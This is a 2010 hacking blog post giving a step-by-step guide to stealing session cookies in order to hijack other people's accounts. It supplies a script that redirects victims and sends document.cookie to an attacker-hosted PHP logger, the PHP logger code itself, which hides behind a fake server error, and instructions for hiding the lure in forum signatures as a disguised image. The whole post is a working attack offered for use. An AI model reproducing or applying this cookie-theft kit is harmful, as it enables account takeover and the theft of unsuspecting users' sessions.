Friday, August 27, 2010

How to steal a remote computer's Cookies to hack ids

Hey,with this cookie logging trick you hack hack anyone’s account at any point of time you just have to do one thing,you gotto send send him to a link which has the potential to log cookies.To fast…… huh ?Ok lets go one by one.



Here’s what to do

1.First you have to create a file which can capture a person’s cookie.So follow the following process.

a.Copy the code which is given below .





<script>location.href=’http://www.hackosys.blogspot.com/cookielogger.php?cookie=’+escape(document.cookie)</SCRIPT>


b.Now you have to change “http://hackosys.blogspot.com” to your your site.
c.Remember one thing you should not upload the files into a directory.
d.Now open notepad and paste the script in it and save it as fun.gif


2.Ok,now you gotto create a key logger which can store the captured cookie file and the script is given below.This is a .php script (quite simple huh ?)


<?php
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}

echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>


a.Now just save this as “cookielogger.php” .Do not edit anything.

3.Now you just have to create a plane empty text document and save it as logfile.txt
4.Now you are ready with the cookie stealing process.Now you have to get registered with a free webhosting site such as www.110mb.com or www.t35.com with supports .php file hosting.
5.After you have done this you have 75% finished it.Now upload the files (not into a directory) and save it .You gotto upload it like this

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif
6.Now test it by placing it in a forum and insert this code in the signature or a post or where you can Smile !OR else you can just blindly use this in you forum by replacing the ones in red with your website URL.

[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/img][/url]
So the person who click it will think it is fun.jpg but it redirects to fun.gif
7.So if you click the image you will get a temporary error and you will find the cookie in the logfile.txt
8.And something like this will be stored in your “logfile.txt”
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9


9.If you want to know how to use it you gotto download the firefox addon and with this you can finish the job neatly
Thats it !

0 comments:

Post a Comment